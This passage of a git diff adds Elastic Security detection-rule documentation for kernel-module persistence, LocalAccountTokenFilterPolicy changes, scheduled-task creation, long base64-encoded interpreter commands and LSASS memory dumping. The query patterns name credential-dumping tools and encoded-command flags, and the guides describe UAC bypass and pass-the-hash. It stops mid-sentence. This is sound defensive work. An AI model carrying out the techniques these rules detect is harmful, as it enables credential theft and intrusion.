b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-loadable-kernel-module-configuration-file-creation.asciidoc new file mode 100644 index 0000000000..b2bd703a58 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-loadable-kernel-module-configuration-file-creation.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-loadable-kernel-module-configuration-file-creation]] +=== Loadable Kernel Module Configuration File Creation + +This rule detects the creation of Loadable Kernel Module (LKM) configuration files. Attackers may create or modify these files to allow their LKMs to be loaded upon reboot, ensuring persistence on a compromised system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Loadable Kernel Module Configuration File Creation* + + +Loadable Kernel Modules (LKMs) are components that can be dynamically loaded into the Linux kernel to extend its functionality without rebooting. Adversaries exploit this by creating or altering LKM configuration files to ensure their malicious modules load at startup, achieving persistence. The detection rule identifies suspicious file creation or renaming activities in key directories, excluding benign processes, to flag potential threats. + + +*Possible investigation steps* + + +- Review the file path and name to determine if it matches any known or expected LKM configuration files, focusing on paths like /etc/modules, /etc/modprobe.d/*, and others specified in the query. +- Examine the process executable responsible for the file creation or renaming to identify if it is a known or trusted application, especially if it is not in the list of excluded executables. +- Check the process name and executable path for any anomalies or signs of masquerading, particularly if they are not in the list of excluded names or paths. +- Investigate the user account associated with the process to determine if it has legitimate access or if it might be compromised. +- Correlate the event with other recent system activities to identify any patterns or additional suspicious behavior, such as other file modifications or network connections. +- Review system logs for any related entries that might provide additional context or evidence of malicious activity. +- Assess the risk and impact of the detected activity on the system's security posture and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum may trigger false positives when they update or install legitimate kernel modules. To handle this, exclude these processes by adding them to the exception list in the detection rule. +- Automated system management tools such as Puppet, Chef, and Ansible can create or modify LKM configuration files during routine operations. Exclude these processes by specifying their executables in the exception criteria. +- Temporary files created by text editors or system processes, such as those with extensions like swp or swx, can be mistaken for suspicious activity. Exclude these file extensions to reduce false positives. +- Processes running from specific directories like /nix/store or /snap may be part of legitimate software installations. Add these paths to the exclusion list to prevent unnecessary alerts. +- Scheduled tasks or cron jobs that involve file operations in the monitored directories might be flagged. Identify and exclude these processes by their names or paths to minimize false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further propagation of the malicious loadable kernel module. +- Terminate any suspicious processes identified in the alert that are associated with the creation or modification of LKM configuration files. +- Remove or revert any unauthorized changes to LKM configuration files in the specified directories to prevent the malicious module from loading on reboot. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious components. +- Review system logs and the history of executed commands to identify the initial vector of compromise and any other affected systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement additional monitoring and alerting for similar suspicious activities to enhance detection and response capabilities for future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and process.executable != null and +file.path like ( + "/etc/modules", "/etc/modprobe.d/*", "/run/modprobe.d/*", "/usr/local/lib/modprobe.d/*", "/usr/lib/modprobe.d/*", + "/lib/modprobe.d/*", "/etc/modules-load.d/*", "/run/modules-load.d/*", "/usr/local/lib/modules-load.d/*", + "/usr/lib/modules-load.d/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/local/bin/dockerd", "/opt/elasticbeanstalk/bin/platform-engine", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/opt/imunify360/venv/bin/python3", + "/opt/eset/efs/lib/utild", "/usr/sbin/anacron", "/usr/bin/podman", "/kaniko/kaniko-executor", "/usr/bin/prime-select", + "/usr/lib/dracut/dracut-install", "/usr/bin/dnf5", "./usr/bin/podman", "/usr/libexec/packagekitd", "/usr/bin/buildah", + "./usr/lib/snapd/snap-update-ns", "/usr/lib/snapd/snapd", "/usr/local/bin/podman", "/usr/sbin/yum-cron", + "./usr/bin/qemu-aarch64-static", "/.envbuilder/bin/envbuilder" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/info/kmod.postinst", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", + "/usr/libexec/platform-python*", "./snap/snapd/*/snap-update-ns" + ) or + process.executable == null or + process.name in ( + "crond", "executor", "puppet", "droplet-agent.postinst", "cf-agent", "schedd", "imunify-notifier", "perl", + "jumpcloud-agent", "crio", "dnf_install", "utild", "dockerd" + ) or + process.name like "python*" or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-local-account-tokenfilter-policy-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-local-account-tokenfilter-policy-disabled.asciidoc new file mode 100644 index 0000000000..a0e2e064bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-local-account-tokenfilter-policy-disabled.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-local-account-tokenfilter-policy-disabled]] +=== Local Account TokenFilter Policy Disabled + +Identifies registry modification to the LocalAccountTokenFilterPolicy policy. If this value exists (which doesn't by default) and is set to 1, then remote connections from all local members of Administrators are granted full high-integrity tokens during negotiation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2014-04-02/finding/V-36439 +* https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167 +* https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Local Account TokenFilter Policy Disabled* + + +The LocalAccountTokenFilterPolicy is a Windows registry setting that, when enabled, allows remote connections from local administrators to use full high-integrity tokens. Adversaries may exploit this to bypass User Account Control (UAC) and gain elevated privileges remotely. The detection rule monitors changes to this registry setting, identifying potential unauthorized modifications that could indicate an attempt to facilitate lateral movement or evade defenses. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the change to the LocalAccountTokenFilterPolicy setting, specifically looking for entries where the registry.value is "LocalAccountTokenFilterPolicy" and registry.data.strings is "1" or "0x00000001". +- Identify the user account and process responsible for the registry modification by examining the associated event logs for user and process information. +- Check for any recent remote connections to the affected system, focusing on connections initiated by local administrator accounts, to determine if the change was exploited for lateral movement. +- Investigate any other recent registry changes on the host to identify potential patterns of unauthorized modifications that could indicate broader malicious activity. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, SentinelOne, or Microsoft Defender XDR to gather additional context and assess the scope of the potential threat. +- Assess the system for signs of compromise or malicious activity, such as unusual processes, network connections, or file modifications, that may have occurred around the time of the registry change. + + +*False positive analysis* + + +- Administrative tools or scripts that modify the LocalAccountTokenFilterPolicy for legitimate configuration purposes may trigger alerts. To manage this, identify and document these tools, then create exceptions for their known registry changes. +- System updates or patches that adjust registry settings as part of their installation process can cause false positives. Monitor update schedules and correlate alerts with these activities to determine if they are benign. +- Security software or management solutions that enforce policy changes across endpoints might modify this registry setting. Verify these actions with your IT or security team and consider excluding these processes from triggering alerts. +- Custom scripts or automation tasks used for system hardening or configuration management may alter this setting. Review these scripts and whitelist their expected changes to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Revert the registry setting for LocalAccountTokenFilterPolicy to its default state if it was modified without authorization. +- Conduct a thorough review of recent administrative activities and access logs on the affected system to identify any unauthorized access or changes. +- Reset passwords for all local administrator accounts on the affected system to prevent potential misuse of compromised credentials. +- Deploy endpoint detection and response (EDR) tools to monitor for any further suspicious activities or attempts to modify registry settings. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional network segmentation and access controls to limit administrative access to critical systems and reduce the risk of similar threats. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "LocalAccountTokenFilterPolicy" and + registry.path : ( + "HKLM\\*\\LocalAccountTokenFilterPolicy", + "\\REGISTRY\\MACHINE\\*\\LocalAccountTokenFilterPolicy", + "MACHINE\\*\\LocalAccountTokenFilterPolicy" + ) and registry.data.strings : ("1", "0x00000001") and + not process.executable : ( + /* Intune */ + "C:\\Windows\\system32\\deviceenroller.exe", + "C:\\Windows\\system32\\omadmclient.exe", + "C:\\Windows\\UUS\\amd64\\MoUsoCoreWorker.exe", + "C:\\Windows\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\system32\\deviceenroller.exe", + "\\Device\\HarddiskVolume*\\system32\\omadmclient.exe", + "\\Device\\HarddiskVolume*\\UUS\\amd64\\MoUsoCoreWorker.exe", + "\\Device\\HarddiskVolume*\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-local-scheduled-task-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-local-scheduled-task-creation.asciidoc new file mode 100644 index 0000000000..71671111bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-local-scheduled-task-creation.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-local-scheduled-task-creation]] +=== Local Scheduled Task Creation + +Indicates the creation of a scheduled task. Adversaries can use these to establish persistence, move laterally, and/or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-2 +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Local Scheduled Task Creation* + + +Scheduled tasks in Windows automate routine tasks, but adversaries exploit them for persistence, lateral movement, or privilege escalation. They may use command-line tools like `schtasks.exe` to create tasks under non-system accounts. The detection rule identifies suspicious task creation by monitoring specific processes and command-line arguments, excluding those initiated by system-level users, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process entity ID to identify the parent process that initiated the scheduled task creation. This can provide context on whether the task was created by a legitimate application or a potentially malicious one. +- Examine the command-line arguments used with schtasks.exe, specifically looking for unusual or suspicious parameters that might indicate malicious intent, such as unexpected task names or execution paths. +- Check the user account associated with the task creation to determine if it is a non-system account and assess whether this account should have the capability to create scheduled tasks. +- Investigate the integrity level of the process to confirm it is not running with elevated privileges, which could indicate an attempt to bypass security controls. +- Correlate the event with other recent activities on the host, such as file modifications or network connections, to identify any patterns or additional indicators of compromise. +- Review the code signature of the initiating process to determine if it is trusted or untrusted, which can help assess the legitimacy of the process creating the task. + + +*False positive analysis* + + +- Scheduled tasks created by legitimate administrative tools or scripts may trigger false positives. Users should identify and whitelist these known benign processes to prevent unnecessary alerts. +- Routine maintenance tasks initiated by IT departments, such as software updates or system checks, can be mistaken for suspicious activity. Exclude these tasks by specifying their unique process names or command-line arguments. +- Tasks created by trusted third-party applications for legitimate purposes might be flagged. Review and exclude these applications by verifying their code signatures and adding them to an exception list. +- Automated tasks set up by non-system accounts for regular operations, like backups or monitoring, can be misinterpreted. Document these tasks and exclude them based on their specific parameters or user accounts involved. +- Consider excluding tasks with a consistent and verified schedule that aligns with organizational policies, as these are less likely to be malicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious scheduled tasks identified by the alert using Task Scheduler or command-line tools like schtasks.exe to stop further execution. +- Review and remove any unauthorized scheduled tasks created by non-system accounts to eliminate persistence mechanisms. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious artifacts. +- Analyze the user account involved in the task creation for signs of compromise, and reset credentials if necessary to prevent further unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for scheduled task creation events to detect similar threats in the future, ensuring alerts are configured to notify the appropriate teams promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and + ((process.name : ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", "wmic.exe", "mshta.exe", + "powershell.exe", "pwsh.exe", "powershell_ise.exe", "WmiPrvSe.exe", "wsmprovhost.exe", "winrshost.exe") or + process.pe.original_file_name : ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", "wmic.exe", "mshta.exe", + "powershell.exe", "pwsh.dll", "powershell_ise.exe", "WmiPrvSe.exe", "wsmprovhost.exe", + "winrshost.exe")) or + ?process.code_signature.trusted == false) and + /* exclude legitimate software creating its own scheduled tasks */ + not ( + process.name : "cmd.exe" and + ( + ( + process.parent.executable : "?:\\Program Files\\Adobe\\Adobe Creative Cloud Experience\\libs\\node.exe" and + process.command_line : "*?:\\Program Files\\Adobe\\Adobe Creative Cloud Experience\\CCXProcess.exe*" + ) or + ( + process.parent.executable : "?:\\Program Files (x86)\\LG Software\\LG App Count\\LGAppCountObserver.exe" and + process.command_line : "*?:\\Program Files (x86)\\LG Software\\LG App Count\\*" + ) or + ( + process.parent.executable : "?:\\Program Files (x86)\\LG Software\\LG Update & Recovery\\URAlarm.exe" and + process.command_line : "*?:\\Program Files (x86)\\LG Software\\LG Update & Recovery\\Support\\*" + ) + ) + ) + ] by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and + (process.name : "schtasks.exe" or process.pe.original_file_name == "schtasks.exe") and + process.args : ("/create", "-create") and process.args : ("/RU", "/SC", "/TN", "/TR", "/F", "/XML") and + /* exclude SYSTEM Integrity Level - look for task creations by non-SYSTEM user */ + not (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-long-base64-encoded-command-via-scripting-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-long-base64-encoded-command-via-scripting-interpreter.asciidoc new file mode 100644 index 0000000000..1479a6608e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-long-base64-encoded-command-via-scripting-interpreter.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-long-base64-encoded-command-via-scripting-interpreter]] +=== Long Base64 Encoded Command via Scripting Interpreter + +Identifies oversized command lines used by Python, PowerShell, Node.js, or Deno that contain base64 decoding or encoded-command patterns. Adversaries may embed long inline encoded payloads in scripting interpreters to evade inspection and execute malicious content across Windows, macOS, and Linux systems. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Encoding-Based Obfuscation +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Long Base64 Encoded Command via Scripting Interpreter* + + +This rule detects process start events where the original `process.command_line` field was ignored at index time due to +its size, but the full command line remains available in `process.command_line.text`. Attackers commonly use very long +base64-encoded inline commands with interpreters such as Python, PowerShell, Node.js, and Deno to conceal payloads and +avoid straightforward command-line inspection. + + +*Possible investigation steps* + + +- Review `process.command_line.text` to determine whether the encoded content includes shell commands, scripts, URLs, or embedded payloads. +- Inspect the parent process and execution chain to understand how the interpreter was launched and whether it originated from a browser, office application, archive utility, or remote access tool. +- Check whether the same host or user generated additional suspicious process, network, or file events around the same time. +- If the payload can be safely decoded in an isolated environment, inspect the decoded content for follow-on execution, credential access, persistence, or download behavior. + + +*False positive analysis* + + +- Administrative automation, packaging workflows, or developer tooling may legitimately pass large encoded blobs to scripting interpreters. +- PowerShell remoting, software deployment frameworks, or internal bootstrap scripts can occasionally use encoded commands; validate the source, user, and expected automation context. + + +*Response and remediation* + + +- Isolate the affected host if the decoded content or surrounding activity indicates malicious execution. +- Terminate the suspicious interpreter process and any spawned child processes. +- Preserve the full command line and related process tree for forensic analysis before making changes on the host. +- Reset or revoke any credentials, tokens, or secrets exposed by the decoded payload or subsequent attacker activity. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.process-* METADATA _id, _index, _version, _ignored +| MV_EXPAND _ignored +| WHERE _ignored == "process.command_line" +| WHERE event.category == "process" and event.type == "start" +| EVAL command_line = TO_LOWER(process.command_line.text), pname = TO_LOWER(process.name) +| WHERE +( + ( + /* Python: inline exec with base64 decode or -c flag with encoded payload */ + pname like "python*" and + ( + command_line like "*b64decode*" or + (command_line like "*-c*" and command_line like "*base64*") + ) + ) or + ( + /* PowerShell: encoded command flag — require trailing space to avoid matching + -Encoding, -EncryptionType, -EncryptionProvider, etc. */ + (pname like "powershell*" or pname like "pwsh*") and + ( + command_line rlike ".* -(e|en|enc|enco|encod|encode|encoded|encodedcommand) .+" or + command_line like "*-encodedcommand*" or + command_line like "*frombase64string*" + ) + ) or + ( + /* Node.js: buffer.from must be paired with base64 to avoid matching + general Buffer usage; atob is always base64 */ + pname like "node*" and + ( + (command_line like "*buffer.from*" and command_line like "*base64*") or + command_line like "*atob(*" + ) + ) or + ( + /* Deno: eval( (not eval/evaluate/evaluation), atob, or buffer+base64 */ + pname like "deno*" and + ( + command_line like "*atob(*" or + (command_line like "*buffer.from*" and command_line like "*base64*") or + command_line like "*eval(*" + ) + ) +) +| EVAL Esql.length_cmdline = LENGTH(command_line) +| WHERE Esql.length_cmdline >= 4000 +| KEEP * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-memory-dump-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-memory-dump-creation.asciidoc new file mode 100644 index 0000000000..52445040a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-memory-dump-creation.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-lsass-memory-dump-creation]] +=== LSASS Memory Dump Creation + +Identifies creation of LSASS memory dump artifacts with filenames matching LSASS dumps or common dumping-tool outputs, including dumpert.dmp, Andrew.dmp, SQLDmpr*.mdmp, and Coredump.dmp. This can indicate credential access through trusted utilities such as Task Manager or SQLDumper, or known tooling such as Dumpert and AndrewSpecial. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/outflanknl/Dumpert +* https://github.com/hoangprod/AndrewSpecial + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating LSASS Memory Dump Creation* + + + +*Possible investigation steps* + + +- What dump artifact did the alert record, and does it look like crash handling or credential collection? + - Focus: `file.path`, `file.name`, `file.extension`, `file.size`, and the alerting `process.entity_id`. + - Implication: escalate when the path is user-writable, remote, hidden, or deceptive, or when `file.name` is "dumpert.dmp", "Andrew.dmp", "Coredump.dmp", or an LSASS-named dump outside a recognized crash location; lower suspicion only when the artifact fits a known crash-analysis, vendor support, or IR acquisition path for this `host.id`. + - Hint: the rule already filters common WER LSASS crash paths and expected SQLDumper dump locations, so a remaining SQLDmpr or LSASS dump path needs its own workflow explanation. + +- Is the writer an expected dump utility in an expected execution context? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.command_line`. !{investigate{"description":"","label":"Process events by dump writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the writer is unsigned, renamed, user-writable, launched with dump-specific arguments, or matches a "rundll32.exe" Dumpert DLL chain; reduce concern only when signer, path, arguments, and parent context all fit the same recognized diagnostic or IR workflow. Identity alone does not clear LSASS dumping. + +- Does the parent chain and user context explain why this account created an LSASS dump? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, `user.id`, and `user.name`. + - Implication: escalate when shells, script 